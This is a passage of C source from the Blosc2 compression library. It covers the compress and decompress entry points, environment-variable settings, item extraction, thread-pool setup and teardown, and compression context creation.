filters[BLOSC2_MAX_FILTERS - 2] = BLOSC_DELTA; } /* The public secure routine for compression. */ int blosc2_compress(int clevel, int doshuffle, int32_t typesize, const void* src, int32_t srcsize, void* dest, int32_t destsize) { int error; int result; char* envvar; /* Check whether the library should be initialized */ if (!g_initlib) blosc_init(); /* Check for a BLOSC_CLEVEL environment variable */ envvar = getenv("BLOSC_CLEVEL"); if (envvar != NULL) { long value; value = strtol(envvar, NULL, 10); if ((value != EINVAL) && (value >= 0)) { clevel = (int)value; } } /* Check for a BLOSC_SHUFFLE environment variable */ envvar = getenv("BLOSC_SHUFFLE"); if (envvar != NULL) { if (strcmp(envvar, "NOSHUFFLE") == 0) { doshuffle = BLOSC_NOSHUFFLE; } if (strcmp(envvar, "SHUFFLE") == 0) { doshuffle = BLOSC_SHUFFLE; } if (strcmp(envvar, "BITSHUFFLE") == 0) { doshuffle = BLOSC_BITSHUFFLE; } } /* Check for a BLOSC_DELTA environment variable */ envvar = getenv("BLOSC_DELTA"); if (envvar != NULL) { if (strcmp(envvar, "1") == 0) { blosc_set_delta(1); } else { blosc_set_delta(0); } } /* Check for a BLOSC_TYPESIZE environment variable */ envvar = getenv("BLOSC_TYPESIZE"); if (envvar != NULL) { long value; value = strtol(envvar, NULL, 10); if ((value != EINVAL) && (value > 0)) { typesize = (size_t)value; } } /* Check for a BLOSC_COMPRESSOR environment variable */ envvar = getenv("BLOSC_COMPRESSOR"); if (envvar != NULL) { result = blosc_set_compressor(envvar); if (result < 0) { return result; } } /* Check for a BLOSC_COMPRESSOR environment variable */ envvar = getenv("BLOSC_BLOCKSIZE"); if (envvar != NULL) { long blocksize; blocksize = strtol(envvar, NULL, 10); if ((blocksize != EINVAL) && (blocksize > 0)) { blosc_set_blocksize((size_t)blocksize); } } /* Check for a BLOSC_NTHREADS environment variable */ envvar = getenv("BLOSC_NTHREADS"); if (envvar != NULL) { long nthreads; nthreads = strtol(envvar, NULL, 10); if ((nthreads != EINVAL) && (nthreads > 0)) { result = blosc_set_nthreads((int)nthreads); if (result < 0) { return result; } } } /* Check for a BLOSC_NOLOCK environment variable. It is important that this should be the last env var so that it can take the previous ones into account */ envvar = getenv("BLOSC_NOLOCK"); if (envvar != NULL) { // TODO: here is the only place that returns an extended header from // a blosc_compress() call. This should probably be fixed. const char *compname; blosc2_context *cctx; blosc2_cparams cparams = BLOSC2_CPARAMS_DEFAULTS; blosc_compcode_to_compname(g_compressor, &compname); /* Create a context for compression */ build_filters(doshuffle, g_delta, typesize, cparams.filters); // TODO: cparams can be shared in a multithreaded environment. do a copy! cparams.typesize = (uint8_t)typesize; cparams.compcode = (uint8_t)g_compressor; cparams.clevel = (uint8_t)clevel; cparams.nthreads = (uint8_t)g_nthreads; cctx = blosc2_create_cctx(cparams); /* Do the actual compression */ result = blosc2_compress_ctx(cctx, src, srcsize, dest, destsize); /* Release context resources */ blosc2_free_ctx(cctx); return result; } pthread_mutex_lock(&global_comp_mutex); /* Initialize a context compression */ uint8_t* filters = calloc(1, BLOSC2_MAX_FILTERS); uint8_t* filters_meta = calloc(1, BLOSC2_MAX_FILTERS); build_filters(doshuffle, g_delta, typesize, filters); error = initialize_context_compression( g_global_context, src, srcsize, dest, destsize, clevel, filters, filters_meta, (int32_t)typesize, g_compressor, g_force_blocksize, g_nthreads, g_nthreads, g_schunk); free(filters); free(filters_meta); if (error <= 0) { pthread_mutex_unlock(&global_comp_mutex); return error; } /* Write chunk header without extended header (Blosc1 compatibility mode) */ error = write_compression_header(g_global_context, false); if (error < 0) { pthread_mutex_unlock(&global_comp_mutex); return error; } result = blosc_compress_context(g_global_context); pthread_mutex_unlock(&global_comp_mutex); return result; } /* The public routine for compression. */ int blosc_compress(int clevel, int doshuffle, size_t typesize, size_t nbytes, const void* src, void* dest, size_t destsize) { return blosc2_compress(clevel, doshuffle, (int32_t)typesize, src, (int32_t)nbytes, dest, (int32_t)destsize); } int blosc_run_decompression_with_context(blosc2_context* context, const void* src, int32_t srcsize, void* dest, int32_t destsize) { int32_t ntbytes; uint8_t* _src = (uint8_t*)src; uint8_t version; int error; if (srcsize <= 0) { /* Invalid argument */ return -1; } version = _src[0]; /* blosc format version */ if (version > BLOSC_VERSION_FORMAT) { /* Version from future */ return -1; } error = initialize_context_decompression(context, src, srcsize, dest, destsize); if (error < 0) { return error; } /* Check whether this buffer is memcpy'ed */ bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; if (memcpyed) { // Check that sizes in header are compatible, otherwise there is a header corruption ntbytes = context->sourcesize; int32_t cbytes = sw32_(_src + 12); /* compressed buffer size */ if (ntbytes + BLOSC_MAX_OVERHEAD != cbytes) { return -1; } // Check that we have enough space in destination for the copy operation if (destsize < ntbytes) { return -1; } memcpy(dest, _src + BLOSC_MAX_OVERHEAD, (unsigned int)ntbytes); } else { /* Do the actual decompression */ ntbytes = do_job(context); if (ntbytes < 0) { return -1; } } assert(ntbytes <= (int32_t)destsize); return ntbytes; } /* The public secure routine for decompression with context. */ int blosc2_decompress_ctx(blosc2_context* context, const void* src, int32_t srcsize, void* dest, int32_t destsize) { int result; if (context->do_compress != 0) { fprintf(stderr, "Context is not meant for decompression. Giving up.\n"); return -10; } result = blosc_run_decompression_with_context(context, src, srcsize, dest, destsize); // Reset a possible block_maskout if (context->block_maskout != NULL) { free(context->block_maskout); context->block_maskout = NULL; } context->block_maskout_nitems = 0; return result; } /* The public secure routine for decompression. */ int blosc2_decompress(const void* src, int32_t srcsize, void* dest, int32_t destsize) { int result; char* envvar; long nthreads; blosc2_context *dctx; blosc2_dparams dparams = BLOSC2_DPARAMS_DEFAULTS; /* Check whether the library should be initialized */ if (!g_initlib) blosc_init(); /* Check for a BLOSC_NTHREADS environment variable */ envvar = getenv("BLOSC_NTHREADS"); if (envvar != NULL) { nthreads = strtol(envvar, NULL, 10); if ((nthreads != EINVAL) && (nthreads > 0)) { result = blosc_set_nthreads((int)nthreads); if (result < 0) { return result; } } } /* Check for a BLOSC_NOLOCK environment variable. It is important that this should be the last env var so that it can take the previous ones into account */ envvar = getenv("BLOSC_NOLOCK"); if (envvar != NULL) { dparams.nthreads = g_nthreads; dctx = blosc2_create_dctx(dparams); result = blosc2_decompress_ctx(dctx, src, srcsize, dest, destsize); blosc2_free_ctx(dctx); return result; } pthread_mutex_lock(&global_comp_mutex); result = blosc_run_decompression_with_context( g_global_context, src, srcsize, dest, destsize); pthread_mutex_unlock(&global_comp_mutex); return result; } /* The public routine for decompression. */ int blosc_decompress(const void* src, void* dest, size_t destsize) { return blosc2_decompress(src, INT32_MAX, dest, (int32_t)destsize); } /* Specific routine optimized for decompression a small number of items out of a compressed chunk. This does not use threads because it would affect negatively to performance. */ int _blosc_getitem(blosc2_context* context, const void* src, int32_t srcsize, int start, int nitems, void* dest) { uint8_t* _src = NULL; /* current pos for source buffer */ uint8_t flags; /* flags for header */ int32_t ntbytes = 0; /* the number of uncompressed bytes */ int32_t nblocks; /* number of total blocks in buffer */ int32_t leftover; /* extra bytes at end of buffer */ int32_t* bstarts; /* start pointers for each block */ int32_t typesize, blocksize, nbytes; int32_t bsize, bsize2, ebsize, leftoverblock; int32_t cbytes; int32_t startb, stopb; int32_t stop = start + nitems; int j; if (srcsize < BLOSC_MIN_HEADER_LENGTH) { /* Not enough input to parse Blosc1 header */ return -1; } _src = (uint8_t*)(src); /* Read the header block */ flags = _src[2]; /* flags */ bool memcpyed = flags & (uint8_t)BLOSC_MEMCPYED; typesize = (int32_t)_src[3]; /* typesize */ nbytes = sw32_(_src + 4); /* buffer size */ blocksize = sw32_(_src + 8); /* block size */ cbytes = sw32_(_src + 12); /* compressed buffer size */ ebsize = blocksize + typesize * (int32_t)sizeof(int32_t); if ((context->header_flags & BLOSC_DOSHUFFLE) && (context->header_flags & BLOSC_DOBITSHUFFLE)) { /* Extended header */ if (srcsize < BLOSC_EXTENDED_HEADER_LENGTH) { /* Not enough input to parse Blosc2 header */ return -1; } uint8_t* filters = _src + BLOSC_MIN_HEADER_LENGTH; uint8_t* filters_meta = filters + 8; for (int i = 0; i < BLOSC2_MAX_FILTERS; i++) { context->filters[i] = filters[i]; context->filters_meta[i] = filters_meta[i]; } bstarts = (int32_t*)(_src + BLOSC_EXTENDED_HEADER_LENGTH); } else { /* Minimal header */ flags_to_filters(flags, context->filters); bstarts = (int32_t*)(_src + BLOSC_MIN_HEADER_LENGTH); } // Some checks for malformed buffers if (blocksize <= 0 || blocksize > nbytes || typesize <= 0 || typesize > BLOSC_MAX_TYPESIZE) { return -1; } /* Compute some params */ /* Total blocks */ nblocks = nbytes / blocksize; leftover = nbytes % blocksize; nblocks = (leftover > 0) ? nblocks + 1 : nblocks; /* Check region boundaries */ if ((start < 0) || (start * typesize > nbytes)) { fprintf(stderr, "`start` out of bounds"); return -1; } if ((stop < 0) || (stop * typesize > nbytes)) { fprintf(stderr, "`start`+`nitems` out of bounds"); return -1; } if (_src + srcsize < (uint8_t *)(bstarts + nblocks)) { /* Not enough input to read all `bstarts` */ return -1; } for (j = 0; j < nblocks; j++) { bsize = blocksize; leftoverblock = 0; if ((j == nblocks - 1) && (leftover > 0)) { bsize = leftover; leftoverblock = 1; } /* Compute start & stop for each block */ startb = start * (int)typesize - j * (int)blocksize; stopb = stop * (int)typesize - j * (int)blocksize; if ((startb >= (int)blocksize) || (stopb <= 0)) { continue; } if (startb < 0) { startb = 0; } if (stopb > (int)blocksize) { stopb = (int)blocksize; } bsize2 = stopb - startb; /* Do the actual data copy */ if (memcpyed) { // Check that sizes in header are compatible, otherwise there is a header corruption if (nbytes + BLOSC_MAX_OVERHEAD != cbytes) { return -1; } if (srcsize < BLOSC_MAX_OVERHEAD + j * blocksize + startb + bsize2) { /* Not enough input to copy data */ return -1; } memcpy((uint8_t*)dest + ntbytes, (uint8_t*)src + BLOSC_MAX_OVERHEAD + j * blocksize + startb, (unsigned int)bsize2); cbytes = (int)bsize2; } else { struct thread_context* scontext = context->serial_context; /* Resize the temporaries in serial context if needed */ if (blocksize != scontext->tmp_blocksize) { my_free(scontext->tmp); scontext->tmp_nbytes = (size_t)3 * context->blocksize + ebsize; scontext->tmp = my_malloc(scontext->tmp_nbytes); scontext->tmp2 = scontext->tmp + blocksize; scontext->tmp3 = scontext->tmp + blocksize + ebsize; scontext->tmp4 = scontext->tmp + 2 * blocksize + ebsize; scontext->tmp_blocksize = (int32_t)blocksize; } // Regular decompression. Put results in tmp2. // If the block is aligned and the worst case fits in destination, let's avoid a copy bool get_single_block = ((startb == 0) && (bsize == nitems * typesize)); uint8_t* tmp2 = get_single_block ? dest : scontext->tmp2; cbytes = blosc_d(context->serial_context, bsize, leftoverblock, src, srcsize, sw32_(bstarts + j), tmp2, 0, scontext->tmp, scontext->tmp3); if (cbytes < 0) { ntbytes = cbytes; break; } if (!get_single_block) { /* Copy to destination */ memcpy((uint8_t *) dest + ntbytes, tmp2 + startb, (unsigned int) bsize2); } cbytes = (int)bsize2; } ntbytes += cbytes; } return ntbytes; } /* Specific routine optimized for decompression a small number of items out of a compressed chunk. Public non-contextual API. */ int blosc_getitem(const void* src, int start, int nitems, void* dest) { uint8_t* _src = (uint8_t*)(src); blosc2_context context; int result; uint8_t version = _src[0]; /* blosc format version */ if (version > BLOSC_VERSION_FORMAT) { /* Version from future */ return -1; } /* Minimally populate the context */ memset(&context, 0, sizeof(blosc2_context)); context.src = src; context.dest = dest; context.typesize = (uint8_t)_src[3]; context.blocksize = sw32_(_src + 8); context.header_flags = *(_src + 2); context.filter_flags = get_filter_flags(context.header_flags, context.typesize); context.schunk = g_schunk; context.nthreads = 1; // force a serial decompression; fixes #95 context.serial_context = create_thread_context(&context, 0); /* Call the actual getitem function */ result = _blosc_getitem(&context, src, INT32_MAX, start, nitems, dest); /* Release resources */ free_thread_context(context.serial_context); return result; } int blosc2_getitem_ctx(blosc2_context* context, const void* src, int32_t srcsize, int start, int nitems, void* dest) { uint8_t* _src = (uint8_t*)(src); int result; /* Minimally populate the context */ context->typesize = (uint8_t)_src[3]; context->blocksize = sw32_(_src + 8); context->header_flags = *(_src + 2); context->filter_flags = get_filter_flags(*(_src + 2), context->typesize); if (context->serial_context == NULL) { context->serial_context = create_thread_context(context, 0); } /* Call the actual getitem function */ result = _blosc_getitem(context, src, srcsize, start, nitems, dest); return result; } /* execute single compression/decompression job for a single thread_context */ static void t_blosc_do_job(void *ctxt) { struct thread_context* thcontext = (struct thread_context*)ctxt; blosc2_context* context = thcontext->parent_context; int32_t cbytes; int32_t ntdest; int32_t tblocks; /* number of blocks per thread */ int32_t tblock; /* limit block on a thread */ int32_t nblock_; /* private copy of nblock */ int32_t bsize; int32_t leftoverblock; /* Parameters for threads */ int32_t blocksize; int32_t ebsize; int32_t srcsize; bool compress = context->do_compress != 0; int32_t maxbytes; int32_t nblocks; int32_t leftover; int32_t leftover2; int32_t* bstarts; const uint8_t* src; uint8_t* dest; uint8_t* tmp; uint8_t* tmp2; uint8_t* tmp3; /* Get parameters for this thread before entering the main loop */ blocksize = context->blocksize; ebsize = blocksize + context->typesize * sizeof(int32_t); maxbytes = context->destsize; nblocks = context->nblocks; leftover = context->leftover; bstarts = context->bstarts; src = context->src; srcsize = context->srcsize; dest = context->dest; /* Resize the temporaries if needed */ if (blocksize != thcontext->tmp_blocksize) { my_free(thcontext->tmp); thcontext->tmp_nbytes = (size_t)3 * context->blocksize + ebsize; thcontext->tmp = my_malloc(thcontext->tmp_nbytes); thcontext->tmp2 = thcontext->tmp + blocksize; thcontext->tmp3 = thcontext->tmp + blocksize + ebsize; thcontext->tmp4 = thcontext->tmp + 2 * blocksize + ebsize; thcontext->tmp_blocksize = blocksize; } tmp = thcontext->tmp; tmp2 = thcontext->tmp2; tmp3 = thcontext->tmp3; // Determine whether we can do a static distribution of workload among different threads bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; bool static_schedule = (!compress || memcpyed) && context->block_maskout == NULL; if (static_schedule) { /* Blocks per thread */ tblocks = nblocks / context->nthreads; leftover2 = nblocks % context->nthreads; tblocks = (leftover2 > 0) ? tblocks + 1 : tblocks; nblock_ = thcontext->tid * tblocks; tblock = nblock_ + tblocks; if (tblock > nblocks) { tblock = nblocks; } } else { // Use dynamic schedule via a queue. Get the next block. pthread_mutex_lock(&context->count_mutex); context->thread_nblock++; nblock_ = context->thread_nblock; pthread_mutex_unlock(&context->count_mutex); tblock = nblocks; } /* Loop over blocks */ leftoverblock = 0; while ((nblock_ < tblock) && (context->thread_giveup_code > 0)) { bsize = blocksize; if (nblock_ == (nblocks - 1) && (leftover > 0)) { bsize = leftover; leftoverblock = 1; } if (compress) { if (memcpyed) { if (!context->prefilter) { /* We want to memcpy only */ memcpy(dest + BLOSC_MAX_OVERHEAD + nblock_ * blocksize, src + nblock_ * blocksize, (unsigned int) bsize); cbytes = (int32_t) bsize; } else { /* Only the prefilter has to be executed, and this is done in blosc_c(). * However, no further actions are needed, so we can put the result * directly in dest. */ cbytes = blosc_c(thcontext, bsize, leftoverblock, 0, ebsize, src, nblock_ * blocksize, dest + BLOSC_MAX_OVERHEAD + nblock_ * blocksize, tmp, tmp3); } } else { /* Regular compression */ cbytes = blosc_c(thcontext, bsize, leftoverblock, 0, ebsize, src, nblock_ * blocksize, tmp2, tmp, tmp3); } } else { if (memcpyed) { /* We want to memcpy only */ if (srcsize < BLOSC_MAX_OVERHEAD + (nblock_ * blocksize) + bsize) { /* Not enough input to copy data */ cbytes = -1; } else { memcpy(dest + nblock_ * blocksize, src + BLOSC_MAX_OVERHEAD + nblock_ * blocksize, (unsigned int)bsize); cbytes = (int32_t)bsize; } } else { if (srcsize < (int32_t)(BLOSC_MAX_OVERHEAD + (sizeof(int32_t) * nblocks))) { /* Not enough input to read all `bstarts` */ cbytes = -1; } else { cbytes = blosc_d(thcontext, bsize, leftoverblock, src, srcsize, sw32_(bstarts + nblock_), dest, nblock_ * blocksize, tmp, tmp2); } } } /* Check whether current thread has to giveup */ if (context->thread_giveup_code <= 0) { break; } /* Check results for the compressed/decompressed block */ if (cbytes < 0) { /* compr/decompr failure */ /* Set giveup_code error */ pthread_mutex_lock(&context->count_mutex); context->thread_giveup_code = cbytes; pthread_mutex_unlock(&context->count_mutex); break; } if (compress && !memcpyed) { /* Start critical section */ pthread_mutex_lock(&context->count_mutex); ntdest = context->output_bytes; // Note: do not use a typical local dict_training variable here // because it is probably cached from previous calls if the number of // threads does not change (the usual thing). if (!(context->use_dict && context->dict_cdict == NULL)) { _sw32(bstarts + nblock_, (int32_t) ntdest); } if ((cbytes == 0) || (ntdest + cbytes > maxbytes)) { context->thread_giveup_code = 0; /* uncompressible buf */ pthread_mutex_unlock(&context->count_mutex); break; } context->thread_nblock++; nblock_ = context->thread_nblock; context->output_bytes += cbytes; pthread_mutex_unlock(&context->count_mutex); /* End of critical section */ /* Copy the compressed buffer to destination */ memcpy(dest + ntdest, tmp2, (unsigned int) cbytes); } else if (static_schedule) { nblock_++; } else { pthread_mutex_lock(&context->count_mutex); context->thread_nblock++; nblock_ = context->thread_nblock; context->output_bytes += cbytes; pthread_mutex_unlock(&context->count_mutex); } } /* closes while (nblock_) */ if (static_schedule) { context->output_bytes = context->sourcesize; if (compress) { context->output_bytes += BLOSC_MAX_OVERHEAD; } } } /* Decompress & unshuffle several blocks in a single thread */ static void* t_blosc(void* ctxt) { struct thread_context* thcontext = (struct thread_context*)ctxt; blosc2_context* context = thcontext->parent_context; #ifdef BLOSC_POSIX_BARRIERS int rc; #endif while (1) { /* Synchronization point for all threads (wait for initialization) */ WAIT_INIT(NULL, context); if (context->end_threads) { break; } t_blosc_do_job(ctxt); /* Meeting point for all threads (wait for finalization) */ WAIT_FINISH(NULL, context); } /* Cleanup our working space and context */ free_thread_context(thcontext); return (NULL); } int init_threadpool(blosc2_context *context) { int32_t tid; int rc2; /* Initialize mutex and condition variable objects */ pthread_mutex_init(&context->count_mutex, NULL); pthread_mutex_init(&context->delta_mutex, NULL); pthread_cond_init(&context->delta_cv, NULL); /* Set context thread sentinels */ context->thread_giveup_code = 1; context->thread_nblock = -1; /* Barrier initialization */ #ifdef BLOSC_POSIX_BARRIERS pthread_barrier_init(&context->barr_init, NULL, context->nthreads + 1); pthread_barrier_init(&context->barr_finish, NULL, context->nthreads + 1); #else pthread_mutex_init(&context->count_threads_mutex, NULL); pthread_cond_init(&context->count_threads_cv, NULL); context->count_threads = 0; /* Reset threads counter */ #endif if (threads_callback) { /* Create thread contexts to store data for callback threads */ context->thread_contexts = (struct thread_context *)my_malloc( context->nthreads * sizeof(struct thread_context)); for (tid = 0; tid < context->nthreads; tid++) init_thread_context(context->thread_contexts + tid, context, tid); } else { #if !defined(_WIN32) /* Initialize and set thread detached attribute */ pthread_attr_init(&context->ct_attr); pthread_attr_setdetachstate(&context->ct_attr, PTHREAD_CREATE_JOINABLE); #endif /* Make space for thread handlers */ context->threads = (pthread_t*)my_malloc( context->nthreads * sizeof(pthread_t)); /* Finally, create the threads */ for (tid = 0; tid < context->nthreads; tid++) { /* Create a thread context (will destroy when finished) */ struct thread_context *thread_context = create_thread_context(context, tid); #if !defined(_WIN32) rc2 = pthread_create(&context->threads[tid], &context->ct_attr, t_blosc, (void*)thread_context); #else rc2 = pthread_create(&context->threads[tid], NULL, t_blosc, (void *)thread_context); #endif if (rc2) { fprintf(stderr, "ERROR; return code from pthread_create() is %d\n", rc2); fprintf(stderr, "\tError detail: %s\n", strerror(rc2)); return (-1); } } } /* We have now started/initialized the threads */ context->threads_started = context->nthreads; context->new_nthreads = context->nthreads; return (0); } int blosc_get_nthreads(void) { return g_nthreads; } int blosc_set_nthreads(int nthreads_new) { int ret = g_nthreads; /* the previous number of threads */ /* Check whether the library should be initialized */ if (!g_initlib) blosc_init(); if (nthreads_new != ret) { g_nthreads = nthreads_new; g_global_context->new_nthreads = nthreads_new; check_nthreads(g_global_context); } return ret; } const char* blosc_get_compressor(void) { const char* compname; blosc_compcode_to_compname(g_compressor, &compname); return compname; } int blosc_set_compressor(const char* compname) { int code = blosc_compname_to_compcode(compname); g_compressor = code; /* Check whether the library should be initialized */ if (!g_initlib) blosc_init(); return code; } void blosc_set_delta(int dodelta) { g_delta = dodelta; /* Check whether the library should be initialized */ if (!g_initlib) blosc_init(); } const char* blosc_list_compressors(void) { static int compressors_list_done = 0; static char ret[256]; if (compressors_list_done) return ret; ret[0] = '\0'; strcat(ret, BLOSC_BLOSCLZ_COMPNAME); #if defined(HAVE_LZ4) strcat(ret, ","); strcat(ret, BLOSC_LZ4_COMPNAME); strcat(ret, ","); strcat(ret, BLOSC_LZ4HC_COMPNAME); #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) strcat(ret, ","); strcat(ret, BLOSC_LIZARD_COMPNAME); #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) strcat(ret, ","); strcat(ret, BLOSC_SNAPPY_COMPNAME); #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) strcat(ret, ","); strcat(ret, BLOSC_ZLIB_COMPNAME); #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) strcat(ret, ","); strcat(ret, BLOSC_ZSTD_COMPNAME); #endif /* HAVE_ZSTD */ compressors_list_done = 1; return ret; } const char* blosc_get_version_string(void) { return BLOSC_VERSION_STRING; } int blosc_get_complib_info(const char* compname, char** complib, char** version) { int clibcode; const char* clibname; const char* clibversion = "unknown"; #if (defined(HAVE_LZ4) && defined(LZ4_VERSION_MAJOR)) || \ (defined(HAVE_LIZARD) && defined(LIZARD_VERSION_MAJOR)) || \ (defined(HAVE_SNAPPY) && defined(SNAPPY_VERSION)) || \ (defined(HAVE_ZSTD) && defined(ZSTD_VERSION_MAJOR)) char sbuffer[256]; #endif clibcode = compname_to_clibcode(compname); clibname = clibcode_to_clibname(clibcode); /* complib version */ if (clibcode == BLOSC_BLOSCLZ_LIB) { clibversion = BLOSCLZ_VERSION_STRING; } #if defined(HAVE_LZ4) else if (clibcode == BLOSC_LZ4_LIB) { #if defined(LZ4_VERSION_MAJOR) sprintf(sbuffer, "%d.%d.%d", LZ4_VERSION_MAJOR, LZ4_VERSION_MINOR, LZ4_VERSION_RELEASE); clibversion = sbuffer; #endif /* LZ4_VERSION_MAJOR */ } #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) else if (clibcode == BLOSC_LIZARD_LIB) { sprintf(sbuffer, "%d.%d.%d", LIZARD_VERSION_MAJOR, LIZARD_VERSION_MINOR, LIZARD_VERSION_RELEASE); clibversion = sbuffer; } #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) else if (clibcode == BLOSC_SNAPPY_LIB) { #if defined(SNAPPY_VERSION) sprintf(sbuffer, "%d.%d.%d", SNAPPY_MAJOR, SNAPPY_MINOR, SNAPPY_PATCHLEVEL); clibversion = sbuffer; #endif /* SNAPPY_VERSION */ } #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) else if (clibcode == BLOSC_ZLIB_LIB) { clibversion = ZLIB_VERSION; } #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) else if (clibcode == BLOSC_ZSTD_LIB) { sprintf(sbuffer, "%d.%d.%d", ZSTD_VERSION_MAJOR, ZSTD_VERSION_MINOR, ZSTD_VERSION_RELEASE); clibversion = sbuffer; } #endif /* HAVE_ZSTD */ #ifdef _MSC_VER *complib = _strdup(clibname); *version = _strdup(clibversion); #else *complib = strdup(clibname); *version = strdup(clibversion); #endif return clibcode; } /* Return `nbytes`, `cbytes` and `blocksize` from a compressed buffer. */ void blosc_cbuffer_sizes(const void* cbuffer, size_t* nbytes, size_t* cbytes, size_t* blocksize) { uint8_t* _src = (uint8_t*)(cbuffer); /* current pos for source buffer */ uint8_t version = _src[0]; /* blosc format version */ if (version > BLOSC_VERSION_FORMAT) { /* Version from future */ *nbytes = *blocksize = *cbytes = 0; return; } /* Read the interesting values */ *nbytes = (size_t)sw32_(_src + 4); /* uncompressed buffer size */ *blocksize = (size_t)sw32_(_src + 8); /* block size */ *cbytes = (size_t)sw32_(_src + 12); /* compressed buffer size */ } int blosc_cbuffer_validate(const void* cbuffer, size_t cbytes, size_t* nbytes) { size_t header_cbytes, header_blocksize; if (cbytes < BLOSC_MIN_HEADER_LENGTH) { /* Compressed data should contain enough space for header */ *nbytes = 0; return -1; } blosc_cbuffer_sizes(cbuffer, nbytes, &header_cbytes, &header_blocksize); if (header_cbytes != cbytes) { /* Compressed size from header does not match `cbytes` */ *nbytes = 0; return -1; } if (*nbytes > BLOSC_MAX_BUFFERSIZE) { /* Uncompressed size is larger than allowed */ return -1; } return 0; } /* Return `typesize` and `flags` from a compressed buffer. */ void blosc_cbuffer_metainfo(const void* cbuffer, size_t* typesize, int* flags) { uint8_t* _src = (uint8_t*)(cbuffer); /* current pos for source buffer */ uint8_t version = _src[0]; /* blosc format version */ if (version > BLOSC_VERSION_FORMAT) { /* Version from future */ *flags = 0; *typesize = 0; return; } /* Read the interesting values */ *flags = (int)_src[2]; /* flags */ *typesize = (size_t)_src[3]; /* typesize */ } /* Return version information from a compressed buffer. */ void blosc_cbuffer_versions(const void* cbuffer, int* version, int* versionlz) { uint8_t* _src = (uint8_t*)(cbuffer); /* current pos for source buffer */ /* Read the version info */ *version = (int)_src[0]; /* blosc format version */ *versionlz = (int)_src[1]; /* Lempel-Ziv compressor format version */ } /* Return the compressor library/format used in a compressed buffer. */ const char* blosc_cbuffer_complib(const void* cbuffer) { uint8_t* _src = (uint8_t*)(cbuffer); /* current pos for source buffer */ int clibcode; const char* complib; /* Read the compressor format/library info */ clibcode = (_src[2] & 0xe0) >> 5; complib = clibcode_to_clibname(clibcode); return complib; } /* Get the internal blocksize to be used during compression. 0 means that an automatic blocksize is computed internally. */ int blosc_get_blocksize(void) { return (int)g_force_blocksize; } /* Force the use of a specific blocksize. If 0, an automatic blocksize will be used (the default). */ void blosc_set_blocksize(size_t size) { g_force_blocksize = (int32_t)size; } /* Set pointer to super-chunk. If NULL, no super-chunk will be reachable (the default). */ void blosc_set_schunk(blosc2_schunk* schunk) { g_schunk = schunk; g_global_context->schunk = schunk; } void blosc_init(void) { /* Return if Blosc is already initialized */ if (g_initlib) return; pthread_mutex_init(&global_comp_mutex, NULL); /* Create a global context */ g_global_context = (blosc2_context*)my_malloc(sizeof(blosc2_context)); memset(g_global_context, 0, sizeof(blosc2_context)); g_global_context->nthreads = g_nthreads; g_global_context->new_nthreads = g_nthreads; g_initlib = 1; } void blosc_destroy(void) { /* Return if Blosc is not initialized */ if (!g_initlib) return; g_initlib = 0; release_threadpool(g_global_context); if (g_global_context->serial_context != NULL) { free_thread_context(g_global_context->serial_context); } my_free(g_global_context); pthread_mutex_destroy(&global_comp_mutex); } int release_threadpool(blosc2_context *context) { int32_t t; void* status; int rc; if (context->threads_started > 0) { if (threads_callback) { /* free context data for user-managed threads */ for (t=0; t<context->threads_started; t++) destroy_thread_context(context->thread_contexts + t); my_free(context->thread_contexts); } else { /* Tell all existing threads to finish */ context->end_threads = 1; WAIT_INIT(-1, context); /* Join exiting threads */ for (t = 0; t < context->threads_started; t++) { rc = pthread_join(context->threads[t], &status); if (rc) { fprintf(stderr, "ERROR; return code from pthread_join() is %d\n", rc); fprintf(stderr, "\tError detail: %s\n", strerror(rc)); } } /* Thread attributes */ #if !defined(_WIN32) pthread_attr_destroy(&context->ct_attr); #endif /* Release thread handlers */ my_free(context->threads); } /* Release mutex and condition variable objects */ pthread_mutex_destroy(&context->count_mutex); pthread_mutex_destroy(&context->delta_mutex); pthread_cond_destroy(&context->delta_cv); /* Barriers */ #ifdef BLOSC_POSIX_BARRIERS pthread_barrier_destroy(&context->barr_init); pthread_barrier_destroy(&context->barr_finish); #else pthread_mutex_destroy(&context->count_threads_mutex); pthread_cond_destroy(&context->count_threads_cv); context->count_threads = 0; /* Reset threads counter */ #endif /* Reset flags and counters */ context->end_threads = 0; context->threads_started = 0; } return 0; } int blosc_free_resources(void) { /* Return if Blosc is not initialized */ if (!g_initlib) return -1; return release_threadpool(g_global_context); } /* Contexts */ /* Create a context for compression */ blosc2_context* blosc2_create_cctx(blosc2_cparams cparams) { blosc2_context* context = (blosc2_context*)my_malloc(sizeof(blosc2_context)); /* Populate the context, using zeros as default values */ memset(context, 0, sizeof(blosc2_context)); context->do_compress = 1; /* meant for compression */ context->compcode = cparams.compcode; context->clevel = cparams.clevel; context->use_dict = cparams.use_dict; context->typesize = cparams.typesize; for (int i = 0; i < BLOSC2_MAX_FILTERS; i++) { context->filters[i] = cparams.filters[i]; context->filters_meta[i] = cparams.filters_meta[i]; } context->nthreads = cparams.nthreads; context->new_nthreads = context->nthreads; context->blocksize = cparams.blocksize; context->threads_started = 0; context->schunk = cparams.schunk; if (cparams.prefilter != NULL) { context->prefilter = cparams.prefilter; context->pparams = (blosc2_prefilter_params*)my_malloc(sizeof(blosc2_prefilter_params)); memcpy(context->pparams, cparams.pparams, sizeof(blosc2_prefilter_params)); } return context; } /* Create a context for decompression */ blosc2_context* blosc2_create_dctx(blosc2_dparams dparams) { blosc2_context* context = (blosc2_context*)my_malloc(sizeof(blosc2_context)); /* Populate the context, using zeros as default values */ memset(context, 0, sizeof(blosc2_context)); context->do_compress = 0; /* Meant for decompression */ context->nthreads = dparams.nthreads; context->new_nthreads = context->nthreads; context->threads_started = 0; context->block_maskout = NULL; context->block_maskout_nitems = 0; context->schunk = dparams.schunk; return context; } void blosc2_free_ctx(blosc2_context* context) { release_threadpool(context); if (context->serial_context != NULL) { free_thread_context(context->serial_context); } if (context->dict_cdict != NULL) { #ifdef HAVE_ZSTD ZSTD_freeCDict(context->dict_cdict); #endif } if (context->dict_ddict != NULL) { #ifdef HAVE_ZSTD 